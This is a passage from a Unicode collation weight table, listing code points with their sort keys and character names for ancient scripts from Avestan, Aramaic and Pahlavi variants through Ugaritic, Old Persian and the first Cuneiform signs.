[.46E5.0020.0002] # OLD NORTH ARABIAN LETTER THAL +10A9A ; [.46E6.0020.0002] # OLD NORTH ARABIAN LETTER YEH +10A9B ; [.46E7.0020.0002] # OLD NORTH ARABIAN LETTER THEH +10A9C ; [.46E8.0020.0002] # OLD NORTH ARABIAN LETTER ZAH +10B00 ; [.46E9.0020.0002] # AVESTAN LETTER A +10B01 ; [.46EA.0020.0002] # AVESTAN LETTER AA +10B02 ; [.46EB.0020.0002] # AVESTAN LETTER AO +10B03 ; [.46EC.0020.0002] # AVESTAN LETTER AAO +10B04 ; [.46ED.0020.0002] # AVESTAN LETTER AN +10B05 ; [.46EE.0020.0002] # AVESTAN LETTER AAN +10B06 ; [.46EF.0020.0002] # AVESTAN LETTER AE +10B07 ; [.46F0.0020.0002] # AVESTAN LETTER AEE +10B08 ; [.46F1.0020.0002] # AVESTAN LETTER E +10B09 ; [.46F2.0020.0002] # AVESTAN LETTER EE +10B0A ; [.46F3.0020.0002] # AVESTAN LETTER O +10B0B ; [.46F4.0020.0002] # AVESTAN LETTER OO +10B0C ; [.46F5.0020.0002] # AVESTAN LETTER I +10B0D ; [.46F6.0020.0002] # AVESTAN LETTER II +10B0E ; [.46F7.0020.0002] # AVESTAN LETTER U +10B0F ; [.46F8.0020.0002] # AVESTAN LETTER UU +10B10 ; [.46F9.0020.0002] # AVESTAN LETTER KE +10B11 ; [.46FA.0020.0002] # AVESTAN LETTER XE +10B12 ; [.46FB.0020.0002] # AVESTAN LETTER XYE +10B13 ; [.46FC.0020.0002] # AVESTAN LETTER XVE +10B14 ; [.46FD.0020.0002] # AVESTAN LETTER GE +10B15 ; [.46FE.0020.0002] # AVESTAN LETTER GGE +10B16 ; [.46FF.0020.0002] # AVESTAN LETTER GHE +10B17 ; [.4700.0020.0002] # AVESTAN LETTER CE +10B18 ; [.4701.0020.0002] # AVESTAN LETTER JE +10B19 ; [.4702.0020.0002] # AVESTAN LETTER TE +10B1A ; [.4703.0020.0002] # AVESTAN LETTER THE +10B1B ; [.4704.0020.0002] # AVESTAN LETTER DE +10B1C ; [.4705.0020.0002] # AVESTAN LETTER DHE +10B1D ; [.4706.0020.0002] # AVESTAN LETTER TTE +10B1E ; [.4707.0020.0002] # AVESTAN LETTER PE +10B1F ; [.4708.0020.0002] # AVESTAN LETTER FE +10B20 ; [.4709.0020.0002] # AVESTAN LETTER BE +10B21 ; [.470A.0020.0002] # AVESTAN LETTER BHE +10B22 ; [.470B.0020.0002] # AVESTAN LETTER NGE +10B23 ; [.470C.0020.0002] # AVESTAN LETTER NGYE +10B24 ; [.470D.0020.0002] # AVESTAN LETTER NGVE +10B25 ; [.470E.0020.0002] # AVESTAN LETTER NE +10B26 ; [.470F.0020.0002] # AVESTAN LETTER NYE +10B27 ; [.4710.0020.0002] # AVESTAN LETTER NNE +10B28 ; [.4711.0020.0002] # AVESTAN LETTER ME +10B29 ; [.4712.0020.0002] # AVESTAN LETTER HME +10B2A ; [.4713.0020.0002] # AVESTAN LETTER YYE +10B2B ; [.4714.0020.0002] # AVESTAN LETTER YE +10B2C ; [.4715.0020.0002] # AVESTAN LETTER VE +10B2D ; [.4716.0020.0002] # AVESTAN LETTER RE +10B2E ; [.4716.0020.0004][.0000.010B.0004] # AVESTAN LETTER LE +10B2F ; [.4717.0020.0002] # AVESTAN LETTER SE +10B30 ; [.4718.0020.0002] # AVESTAN LETTER ZE +10B31 ; [.4719.0020.0002] # AVESTAN LETTER SHE +10B32 ; [.471A.0020.0002] # AVESTAN LETTER ZHE +10B33 ; [.471B.0020.0002] # AVESTAN LETTER SHYE +10B34 ; [.471C.0020.0002] # AVESTAN LETTER SSHE +10B35 ; [.471D.0020.0002] # AVESTAN LETTER HE +10860 ; [.471E.0020.0002] # PALMYRENE LETTER ALEPH +10861 ; [.471F.0020.0002] # PALMYRENE LETTER BETH +10862 ; [.4720.0020.0002] # PALMYRENE LETTER GIMEL +10863 ; [.4721.0020.0002] # PALMYRENE LETTER DALETH +10864 ; [.4722.0020.0002] # PALMYRENE LETTER HE +10865 ; [.4723.0020.0002] # PALMYRENE LETTER WAW +10866 ; [.4724.0020.0002] # PALMYRENE LETTER ZAYIN +10867 ; [.4725.0020.0002] # PALMYRENE LETTER HETH +10868 ; [.4726.0020.0002] # PALMYRENE LETTER TETH +10869 ; [.4727.0020.0002] # PALMYRENE LETTER YODH +1086A ; [.4728.0020.0002] # PALMYRENE LETTER KAPH +1086B ; [.4729.0020.0002] # PALMYRENE LETTER LAMEDH +1086C ; [.472A.0020.0002] # PALMYRENE LETTER MEM +1086E ; [.472B.0020.0002] # PALMYRENE LETTER NUN +1086D ; [.472B.0020.0019] # PALMYRENE LETTER FINAL NUN +1086F ; [.472C.0020.0002] # PALMYRENE LETTER SAMEKH +10870 ; [.472D.0020.0002] # PALMYRENE LETTER AYIN +10871 ; [.472E.0020.0002] # PALMYRENE LETTER PE +10872 ; [.472F.0020.0002] # PALMYRENE LETTER SADHE +10873 ; [.4730.0020.0002] # PALMYRENE LETTER QOPH +10874 ; [.4731.0020.0002] # PALMYRENE LETTER RESH +10875 ; [.4732.0020.0002] # PALMYRENE LETTER SHIN +10876 ; [.4733.0020.0002] # PALMYRENE LETTER TAW +10881 ; [.4734.0020.0002] # NABATAEAN LETTER ALEPH +10880 ; [.4734.0020.0019] # NABATAEAN LETTER FINAL ALEPH +10883 ; [.4735.0020.0002] # NABATAEAN LETTER BETH +10882 ; [.4735.0020.0019] # NABATAEAN LETTER FINAL BETH +10884 ; [.4736.0020.0002] # NABATAEAN LETTER GIMEL +10885 ; [.4737.0020.0002] # NABATAEAN LETTER DALETH +10887 ; [.4738.0020.0002] # NABATAEAN LETTER HE +10886 ; [.4738.0020.0019] # NABATAEAN LETTER FINAL HE +10888 ; [.4739.0020.0002] # NABATAEAN LETTER WAW +10889 ; [.473A.0020.0002] # NABATAEAN LETTER ZAYIN +1088A ; [.473B.0020.0002] # NABATAEAN LETTER HETH +1088B ; [.473C.0020.0002] # NABATAEAN LETTER TETH +1088D ; [.473D.0020.0002] # NABATAEAN LETTER YODH +1088C ; [.473D.0020.0019] # NABATAEAN LETTER FINAL YODH +1088F ; [.473E.0020.0002] # NABATAEAN LETTER KAPH +1088E ; [.473E.0020.0019] # NABATAEAN LETTER FINAL KAPH +10891 ; [.473F.0020.0002] # NABATAEAN LETTER LAMEDH +10890 ; [.473F.0020.0019] # NABATAEAN LETTER FINAL LAMEDH +10893 ; [.4740.0020.0002] # NABATAEAN LETTER MEM +10892 ; [.4740.0020.0019] # NABATAEAN LETTER FINAL MEM +10895 ; [.4741.0020.0002] # NABATAEAN LETTER NUN +10894 ; [.4741.0020.0019] # NABATAEAN LETTER FINAL NUN +10896 ; [.4742.0020.0002] # NABATAEAN LETTER SAMEKH +10897 ; [.4743.0020.0002] # NABATAEAN LETTER AYIN +10898 ; [.4744.0020.0002] # NABATAEAN LETTER PE +10899 ; [.4745.0020.0002] # NABATAEAN LETTER SADHE +1089A ; [.4746.0020.0002] # NABATAEAN LETTER QOPH +1089B ; [.4747.0020.0002] # NABATAEAN LETTER RESH +1089D ; [.4748.0020.0002] # NABATAEAN LETTER SHIN +1089C ; [.4748.0020.0019] # NABATAEAN LETTER FINAL SHIN +1089E ; [.4749.0020.0002] # NABATAEAN LETTER TAW +108E0 ; [.474A.0020.0002] # HATRAN LETTER ALEPH +108E1 ; [.474B.0020.0002] # HATRAN LETTER BETH +108E2 ; [.474C.0020.0002] # HATRAN LETTER GIMEL +108E3 ; [.474D.0020.0002] # HATRAN LETTER DALETH-RESH +108E4 ; [.474E.0020.0002] # HATRAN LETTER HE +108E5 ; [.474F.0020.0002] # HATRAN LETTER WAW +108E6 ; [.4750.0020.0002] # HATRAN LETTER ZAYN +108E7 ; [.4751.0020.0002] # HATRAN LETTER HETH +108E8 ; [.4752.0020.0002] # HATRAN LETTER TETH +108E9 ; [.4753.0020.0002] # HATRAN LETTER YODH +108EA ; [.4754.0020.0002] # HATRAN LETTER KAPH +108EB ; [.4755.0020.0002] # HATRAN LETTER LAMEDH +108EC ; [.4756.0020.0002] # HATRAN LETTER MEM +108ED ; [.4757.0020.0002] # HATRAN LETTER NUN +108EE ; [.4758.0020.0002] # HATRAN LETTER SAMEKH +108EF ; [.4759.0020.0002] # HATRAN LETTER AYN +108F0 ; [.475A.0020.0002] # HATRAN LETTER PE +108F1 ; [.475B.0020.0002] # HATRAN LETTER SADHE +108F2 ; [.475C.0020.0002] # HATRAN LETTER QOPH +108F4 ; [.475D.0020.0002] # HATRAN LETTER SHIN +108F5 ; [.475E.0020.0002] # HATRAN LETTER TAW +10840 ; [.475F.0020.0002] # IMPERIAL ARAMAIC LETTER ALEPH +10841 ; [.4760.0020.0002] # IMPERIAL ARAMAIC LETTER BETH +10842 ; [.4761.0020.0002] # IMPERIAL ARAMAIC LETTER GIMEL +10843 ; [.4762.0020.0002] # IMPERIAL ARAMAIC LETTER DALETH +10844 ; [.4763.0020.0002] # IMPERIAL ARAMAIC LETTER HE +10845 ; [.4764.0020.0002] # IMPERIAL ARAMAIC LETTER WAW +10846 ; [.4765.0020.0002] # IMPERIAL ARAMAIC LETTER ZAYIN +10847 ; [.4766.0020.0002] # IMPERIAL ARAMAIC LETTER HETH +10848 ; [.4767.0020.0002] # IMPERIAL ARAMAIC LETTER TETH +10849 ; [.4768.0020.0002] # IMPERIAL ARAMAIC LETTER YODH +1084A ; [.4769.0020.0002] # IMPERIAL ARAMAIC LETTER KAPH +1084B ; [.476A.0020.0002] # IMPERIAL ARAMAIC LETTER LAMEDH +1084C ; [.476B.0020.0002] # IMPERIAL ARAMAIC LETTER MEM +1084D ; [.476C.0020.0002] # IMPERIAL ARAMAIC LETTER NUN +1084E ; [.476D.0020.0002] # IMPERIAL ARAMAIC LETTER SAMEKH +1084F ; [.476E.0020.0002] # IMPERIAL ARAMAIC LETTER AYIN +10850 ; [.476F.0020.0002] # IMPERIAL ARAMAIC LETTER PE +10851 ; [.4770.0020.0002] # IMPERIAL ARAMAIC LETTER SADHE +10852 ; [.4771.0020.0002] # IMPERIAL ARAMAIC LETTER QOPH +10853 ; [.4772.0020.0002] # IMPERIAL ARAMAIC LETTER RESH +10854 ; [.4773.0020.0002] # IMPERIAL ARAMAIC LETTER SHIN +10855 ; [.4774.0020.0002] # IMPERIAL ARAMAIC LETTER TAW +10B40 ; [.4775.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER ALEPH +10B41 ; [.4776.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER BETH +10B42 ; [.4777.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER GIMEL +10B43 ; [.4778.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER DALETH +10B44 ; [.4779.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER HE +10B45 ; [.477A.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER WAW +10B46 ; [.477B.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER ZAYIN +10B47 ; [.477C.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER HETH +10B48 ; [.477D.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER TETH +10B49 ; [.477E.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER YODH +10B4A ; [.477F.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER KAPH +10B4B ; [.4780.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER LAMEDH +10B4C ; [.4781.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER MEM +10B4D ; [.4782.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER NUN +10B4E ; [.4783.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER SAMEKH +10B4F ; [.4784.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER AYIN +10B50 ; [.4785.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER PE +10B51 ; [.4786.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER SADHE +10B52 ; [.4787.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER QOPH +10B53 ; [.4788.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER RESH +10B54 ; [.4789.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER SHIN +10B55 ; [.478A.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER TAW +10B60 ; [.478B.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER ALEPH +10B61 ; [.478C.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER BETH +10B62 ; [.478D.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER GIMEL +10B63 ; [.478E.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER DALETH +10B64 ; [.478F.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER HE +10B65 ; [.4790.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER WAW-AYIN-RESH +10B66 ; [.4791.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER ZAYIN +10B67 ; [.4792.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER HETH +10B68 ; [.4793.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER TETH +10B69 ; [.4794.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER YODH +10B6A ; [.4795.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER KAPH +10B6B ; [.4796.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER LAMEDH +10B6C ; [.4797.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER MEM-QOPH +10B6D ; [.4798.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER NUN +10B6E ; [.4799.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER SAMEKH +10B6F ; [.479A.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER PE +10B70 ; [.479B.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER SADHE +10B71 ; [.479C.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER SHIN +10B72 ; [.479D.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER TAW +10B80 ; [.479E.0020.0002] # PSALTER PAHLAVI LETTER ALEPH +10B81 ; [.479F.0020.0002] # PSALTER PAHLAVI LETTER BETH +10B82 ; [.47A0.0020.0002] # PSALTER PAHLAVI LETTER GIMEL +10B83 ; [.47A1.0020.0002] # PSALTER PAHLAVI LETTER DALETH +10B84 ; [.47A2.0020.0002] # PSALTER PAHLAVI LETTER HE +10B85 ; [.47A3.0020.0002] # PSALTER PAHLAVI LETTER WAW-AYIN-RESH +10B86 ; [.47A4.0020.0002] # PSALTER PAHLAVI LETTER ZAYIN +10B87 ; [.47A5.0020.0002] # PSALTER PAHLAVI LETTER HETH +10B88 ; [.47A6.0020.0002] # PSALTER PAHLAVI LETTER YODH +10B89 ; [.47A7.0020.0002] # PSALTER PAHLAVI LETTER KAPH +10B8A ; [.47A8.0020.0002] # PSALTER PAHLAVI LETTER LAMEDH +10B8B ; [.47A9.0020.0002] # PSALTER PAHLAVI LETTER MEM-QOPH +10B8C ; [.47AA.0020.0002] # PSALTER PAHLAVI LETTER NUN +10B8D ; [.47AB.0020.0002] # PSALTER PAHLAVI LETTER SAMEKH +10B8E ; [.47AC.0020.0002] # PSALTER PAHLAVI LETTER PE +10B8F ; [.47AD.0020.0002] # PSALTER PAHLAVI LETTER SADHE +10B90 ; [.47AE.0020.0002] # PSALTER PAHLAVI LETTER SHIN +10B91 ; [.47AF.0020.0002] # PSALTER PAHLAVI LETTER TAW +10AC0 ; [.47B0.0020.0002] # MANICHAEAN LETTER ALEPH +10AC1 ; [.47B1.0020.0002] # MANICHAEAN LETTER BETH +10AC2 ; [.47B2.0020.0002] # MANICHAEAN LETTER BHETH +10AC3 ; [.47B3.0020.0002] # MANICHAEAN LETTER GIMEL +10AC4 ; [.47B4.0020.0002] # MANICHAEAN LETTER GHIMEL +10AC5 ; [.47B5.0020.0002] # MANICHAEAN LETTER DALETH +10AC6 ; [.47B6.0020.0002] # MANICHAEAN LETTER HE +10AC7 ; [.47B7.0020.0002] # MANICHAEAN LETTER WAW +10AC8 ; [.47B7.0020.0004][.0000.010C.0004] # MANICHAEAN SIGN UD +10AC9 ; [.47B8.0020.0002] # MANICHAEAN LETTER ZAYIN +10ACA ; [.47B9.0020.0002] # MANICHAEAN LETTER ZHAYIN +10ACB ; [.47BA.0020.0002] # MANICHAEAN LETTER JAYIN +10ACC ; [.47BB.0020.0002] # MANICHAEAN LETTER JHAYIN +10ACD ; [.47BC.0020.0002] # MANICHAEAN LETTER HETH +10ACE ; [.47BD.0020.0002] # MANICHAEAN LETTER TETH +10ACF ; [.47BE.0020.0002] # MANICHAEAN LETTER YODH +10AD0 ; [.47BF.0020.0002] # MANICHAEAN LETTER KAPH +10AD1 ; [.47C0.0020.0002] # MANICHAEAN LETTER XAPH +10AD2 ; [.47C1.0020.0002] # MANICHAEAN LETTER KHAPH +10AD3 ; [.47C2.0020.0002] # MANICHAEAN LETTER LAMEDH +10AD4 ; [.47C3.0020.0002] # MANICHAEAN LETTER DHAMEDH +10AD5 ; [.47C4.0020.0002] # MANICHAEAN LETTER THAMEDH +10AD6 ; [.47C5.0020.0002] # MANICHAEAN LETTER MEM +10AD7 ; [.47C6.0020.0002] # MANICHAEAN LETTER NUN +10AD8 ; [.47C7.0020.0002] # MANICHAEAN LETTER SAMEKH +10AD9 ; [.47C8.0020.0002] # MANICHAEAN LETTER AYIN +10ADA ; [.47C9.0020.0002] # MANICHAEAN LETTER AAYIN +10ADB ; [.47CA.0020.0002] # MANICHAEAN LETTER PE +10ADC ; [.47CB.0020.0002] # MANICHAEAN LETTER FE +10ADD ; [.47CC.0020.0002] # MANICHAEAN LETTER SADHE +10ADE ; [.47CD.0020.0002] # MANICHAEAN LETTER QOPH +10ADF ; [.47CE.0020.0002] # MANICHAEAN LETTER XOPH +10AE0 ; [.47CF.0020.0002] # MANICHAEAN LETTER QHOPH +10AE1 ; [.47D0.0020.0002] # MANICHAEAN LETTER RESH +10AE2 ; [.47D1.0020.0002] # MANICHAEAN LETTER SHIN +10AE3 ; [.47D2.0020.0002] # MANICHAEAN LETTER SSHIN +10AE4 ; [.47D3.0020.0002] # MANICHAEAN LETTER TAW +10380 ; [.47D4.0020.0002] # UGARITIC LETTER ALPA +10381 ; [.47D5.0020.0002] # UGARITIC LETTER BETA +10382 ; [.47D6.0020.0002] # UGARITIC LETTER GAMLA +10383 ; [.47D7.0020.0002] # UGARITIC LETTER KHA +10384 ; [.47D8.0020.0002] # UGARITIC LETTER DELTA +10385 ; [.47D9.0020.0002] # UGARITIC LETTER HO +10386 ; [.47DA.0020.0002] # UGARITIC LETTER WO +10387 ; [.47DB.0020.0002] # UGARITIC LETTER ZETA +10388 ; [.47DC.0020.0002] # UGARITIC LETTER HOTA +10389 ; [.47DD.0020.0002] # UGARITIC LETTER TET +1038A ; [.47DE.0020.0002] # UGARITIC LETTER YOD +1038B ; [.47DF.0020.0002] # UGARITIC LETTER KAF +1038C ; [.47E0.0020.0002] # UGARITIC LETTER SHIN +1038D ; [.47E1.0020.0002] # UGARITIC LETTER LAMDA +1038E ; [.47E2.0020.0002] # UGARITIC LETTER MEM +1038F ; [.47E3.0020.0002] # UGARITIC LETTER DHAL +10390 ; [.47E4.0020.0002] # UGARITIC LETTER NUN +10391 ; [.47E5.0020.0002] # UGARITIC LETTER ZU +10392 ; [.47E6.0020.0002] # UGARITIC LETTER SAMKA +10393 ; [.47E7.0020.0002] # UGARITIC LETTER AIN +10394 ; [.47E8.0020.0002] # UGARITIC LETTER PU +10395 ; [.47E9.0020.0002] # UGARITIC LETTER SADE +10396 ; [.47EA.0020.0002] # UGARITIC LETTER QOPA +10397 ; [.47EB.0020.0002] # UGARITIC LETTER RASHA +10398 ; [.47EC.0020.0002] # UGARITIC LETTER THANNA +10399 ; [.47ED.0020.0002] # UGARITIC LETTER GHAIN +1039A ; [.47EE.0020.0002] # UGARITIC LETTER TO +1039B ; [.47EF.0020.0002] # UGARITIC LETTER I +1039C ; [.47F0.0020.0002] # UGARITIC LETTER U +1039D ; [.47F1.0020.0002] # UGARITIC LETTER SSU +103A0 ; [.47F2.0020.0002] # OLD PERSIAN SIGN A +103A1 ; [.47F3.0020.0002] # OLD PERSIAN SIGN I +103A2 ; [.47F4.0020.0002] # OLD PERSIAN SIGN U +103A3 ; [.47F5.0020.0002] # OLD PERSIAN SIGN KA +103A4 ; [.47F6.0020.0002] # OLD PERSIAN SIGN KU +103A5 ; [.47F7.0020.0002] # OLD PERSIAN SIGN GA +103A6 ; [.47F8.0020.0002] # OLD PERSIAN SIGN GU +103A7 ; [.47F9.0020.0002] # OLD PERSIAN SIGN XA +103A8 ; [.47FA.0020.0002] # OLD PERSIAN SIGN CA +103A9 ; [.47FB.0020.0002] # OLD PERSIAN SIGN JA +103AA ; [.47FC.0020.0002] # OLD PERSIAN SIGN JI +103AB ; [.47FD.0020.0002] # OLD PERSIAN SIGN TA +103AC ; [.47FE.0020.0002] # OLD PERSIAN SIGN TU +103AD ; [.47FF.0020.0002] # OLD PERSIAN SIGN DA +103AE ; [.4800.0020.0002] # OLD PERSIAN SIGN DI +103AF ; [.4801.0020.0002] # OLD PERSIAN SIGN DU +103B0 ; [.4802.0020.0002] # OLD PERSIAN SIGN THA +103B1 ; [.4803.0020.0002] # OLD PERSIAN SIGN PA +103B2 ; [.4804.0020.0002] # OLD PERSIAN SIGN BA +103B3 ; [.4805.0020.0002] # OLD PERSIAN SIGN FA +103B4 ; [.4806.0020.0002] # OLD PERSIAN SIGN NA +103B5 ; [.4807.0020.0002] # OLD PERSIAN SIGN NU +103B6 ; [.4808.0020.0002] # OLD PERSIAN SIGN MA +103B7 ; [.4809.0020.0002] # OLD PERSIAN SIGN MI +103B8 ; [.480A.0020.0002] # OLD PERSIAN SIGN MU +103B9 ; [.480B.0020.0002] # OLD PERSIAN SIGN YA +103BA ; [.480C.0020.0002] # OLD PERSIAN SIGN VA +103BB ; [.480D.0020.0002] # OLD PERSIAN SIGN VI +103BC ; [.480E.0020.0002] # OLD PERSIAN SIGN RA +103BD ; [.480F.0020.0002] # OLD PERSIAN SIGN RU +103BE ; [.4810.0020.0002] # OLD PERSIAN SIGN LA +103BF ; [.4811.0020.0002] # OLD PERSIAN SIGN SA +103C0 ; [.4812.0020.0002] # OLD PERSIAN SIGN ZA +103C1 ; [.4813.0020.0002] # OLD PERSIAN SIGN SHA +103C2 ; [.4814.0020.0002] # OLD PERSIAN SIGN SSA +103C3 ; [.4815.0020.0002] # OLD PERSIAN SIGN HA +103C8 ; [.4816.0020.0002] # OLD PERSIAN SIGN AURAMAZDAA +103C9 ; [.4817.0020.0002] # OLD PERSIAN SIGN AURAMAZDAA-2 +103CA ; [.4818.0020.0002] # OLD PERSIAN SIGN AURAMAZDAAHA +103CB ; [.4819.0020.0002] # OLD PERSIAN SIGN XSHAAYATHIYA +103CC ; [.481A.0020.0002] # OLD PERSIAN SIGN DAHYAAUSH +103CD ; [.481B.0020.0002] # OLD PERSIAN SIGN DAHYAAUSH-2 +103CE ; [.481C.0020.0002] # OLD PERSIAN SIGN BAGA +103CF ; [.481D.0020.0002] # OLD PERSIAN SIGN BUUMISH +12000 ; [.481E.0020.0002] # CUNEIFORM SIGN A +12001 ; [.481F.0020.0002] # CUNEIFORM SIGN A TIMES A +12002 ; [.4820.0020.0002] # CUNEIFORM SIGN A TIMES BAD +12003 ; [.4821.0020.0002] # CUNEIFORM SIGN A TIMES GAN2 TENU +12004 ; [.4822.0020.0002] # CUNEIFORM SIGN A TIMES HA +12005 ; [.4823.0020.0002] # CUNEIFORM SIGN A TIMES IGI +12006 ; [.4824.0020.0002] # CUNEIFORM SIGN A TIMES LAGAR GUNU +12007 ; [.4825.0020.0002] # CUNEIFORM SIGN A TIMES MUSH +12008 ; [.4826.0020.0002] # CUNEIFORM SIGN A TIMES SAG +12009 ; [.4827.0020.0002] # CUNEIFORM SIGN A2 +1200A ; [.4828.0020.0002] # CUNEIFORM SIGN AB +1200B ; [.4829.0020.0002] # CUNEIFORM SIGN AB TIMES ASH2 +1200C ; [.482A.0020.0002] # CUNEIFORM SIGN AB TIMES DUN3 GUNU +1200D ; [.482B.0020.0002] # CUNEIFORM SIGN AB TIMES GAL +1200E ; [.482C.0020.0002] # CUNEIFORM SIGN AB TIMES GAN2 TENU +1200F ; [.482D.0020.0002] # CUNEIFORM SIGN AB TIMES HA +12010 ; [.482E.0020.0002] # CUNEIFORM SIGN AB TIMES IGI GUNU +12011 ; [.482F.0020.0002] # CUNEIFORM SIGN AB TIMES IMIN +12012 ; [.4830.0020.0002] # CUNEIFORM SIGN AB TIMES LAGAB +12013 ; [.4831.0020.0002] # CUNEIFORM SIGN AB TIMES SHESH +12014 ; [.4832.0020.0002] # CUNEIFORM SIGN AB TIMES U PLUS U PLUS U +12015 ; [.4833.0020.0002] # CUNEIFORM SIGN AB GUNU +12016 ; [.4834.0020.0002] # CUNEIFORM SIGN AB2 +12017 ; [.4835.0020.0002] # CUNEIFORM SIGN AB2 TIMES BALAG +12018 ; [.4836.0020.0002] # CUNEIFORM SIGN AB2 TIMES GAN2 TENU +12019 ; [.4837.0020.0002] # CUNEIFORM SIGN AB2 TIMES ME PLUS EN +1201A ; [.4838.0020.0002] # CUNEIFORM SIGN AB2 TIMES SHA3 +1201B ; [.4839.0020.0002] # CUNEIFORM SIGN AB2 TIMES TAK4 +1201C ; [.483A.0020.0002] # CUNEIFORM SIGN AD +1201D ; [.483B.0020.0002] # CUNEIFORM SIGN AK +1201E ; [.483C.0020.0002] # CUNEIFORM SIGN AK TIMES ERIN2 +1201F ; [.483D.0020.0002] # CUNEIFORM SIGN AK TIMES SHITA PLUS GISH +12020 ; [.483E.0020.0002] # CUNEIFORM SIGN AL +12021 ; [.483F.0020.0002] # CUNEIFORM SIGN AL TIMES AL +12022 ; [.4840.0020.0002] # CUNEIFORM SIGN AL TIMES DIM2 +12023 ; [.4841.0020.0002] # CUNEIFORM SIGN AL TIMES GISH +12024 ; [.4842.0020.0002] # CUNEIFORM SIGN AL TIMES HA +12025 ; [.4843.0020.0002] # CUNEIFORM SIGN AL TIMES KAD3 +12026 ; [.4844.0020.0002] # CUNEIFORM SIGN AL TIMES KI +12027 ; [.4845.0020.0002] # CUNEIFORM SIGN AL TIMES SHE +12028 ; [.4846.0020.0002] # CUNEIFORM SIGN AL TIMES USH +12029 ; [.4847.0020.0002] # CUNEIFORM SIGN ALAN +1202A ; [.4848.0020.0002] # CUNEIFORM SIGN ALEPH +1202B ; [.4849.0020.0002] # CUNEIFORM SIGN AMAR +1202C ; [.484A.0020.0002] # CUNEIFORM SIGN AMAR TIMES SHE +1202D ; [.484B.0020.0002] # CUNEIFORM SIGN AN +1202E ; [.484C.0020.0002] # CUNEIFORM SIGN AN OVER AN +1202F ; [.484D.0020.0002] # CUNEIFORM SIGN AN THREE TIMES +12030 ; [.484E.0020.0002] # CUNEIFORM SIGN AN PLUS NAGA OPPOSING AN PLUS NAGA +12031 ; [.484F.0020.0002] # CUNEIFORM SIGN AN PLUS NAGA SQUARED +12032 ; [.4850.0020.0002] # CUNEIFORM SIGN ANSHE +12033 ; [.4851.0020.0002] # CUNEIFORM SIGN APIN +12034 ; [.4852.0020.0002] # CUNEIFORM SIGN ARAD +12035 ; [.4853.0020.0002] # CUNEIFORM SIGN ARAD TIMES KUR +12036 ; [.4854.0020.0002] # CUNEIFORM SIGN ARKAB +12037 ; [.4855.0020.0002] # CUNEIFORM SIGN ASAL2 +12038 ; [.4856.0020.0002] # CUNEIFORM SIGN ASH +12039 ; [.4857.0020.0002] # CUNEIFORM SIGN ASH ZIDA TENU +1203A ; [.4858.0020.0002] # CUNEIFORM SIGN ASH KABA TENU +1203B ; [.4859.0020.0002] # CUNEIFORM SIGN ASH OVER ASH TUG2 OVER TUG2 TUG2 OVER TUG2 PAP +1203C ; [.485A.0020.0002] # CUNEIFORM SIGN ASH OVER ASH OVER ASH +1203D ; [.485B.0020.0002] # CUNEIFORM SIGN ASH OVER ASH OVER ASH CROSSING ASH OVER ASH OVER ASH +1203E ; [.485C.0020.0002] # CUNEIFORM SIGN ASH2 +1203F ; [.485D.0020.0002] # CUNEIFORM SIGN ASHGAB +12040 ; [.485E.0020.0002] # CUNEIFORM SIGN BA +12041 ; [.485F.0020.0002] # CUNEIFORM SIGN BAD +12042 ; [.4860.0020.0002] # CUNEIFORM SIGN BAG3 +12043 ; [.4861.0020.0002] # CUNEIFORM SIGN BAHAR2 +12044 ; [.4862.0020.0002] # CUNEIFORM SIGN BAL +12045 ; [.4863.0020.0002] # CUNEIFORM SIGN BAL OVER BAL +12046 ; [.4864.0020.0002] # CUNEIFORM SIGN BALAG +12047 ; [.4865.0020.0002] # CUNEIFORM SIGN BAR +12048 ; [.4866.0020.0002] # CUNEIFORM SIGN BARA2 +12049 ; [.4867.0020.0002] # CUNEIFORM SIGN BI +1204A ; [.4868.0020.0002] # CUNEIFORM SIGN BI TIMES A +1204B ; [.4869.0020.0002] # CUNEIFORM SIGN BI TIMES GAR +1204C ; [.486A.0020.0002] # CUNEIFORM SIGN BI TIMES IGI GUNU +1204D ; [.486B.0020.0002] # CUNEIFORM SIGN BU +1204E ; [.486C.0020.0002] # CUNEIFORM SIGN BU OVER BU AB +1204F ; [.486D.0020.0002] # CUNEIFORM SIGN BU OVER BU UN +12050 ; [.486E.0020.0002] # CUNEIFORM SIGN BU CROSSING BU +12051 ; [.486F.0020.0002] # CUNEIFORM SIGN BULUG +12052 ; [.4870.0020.0002] # CUNEIFORM SIGN BULUG OVER BULUG +12053 ; [.4871.0020.0002] # CUNEIFORM SIGN BUR +12054 ; [.4872.0020.0002] # CUNEIFORM SIGN BUR2 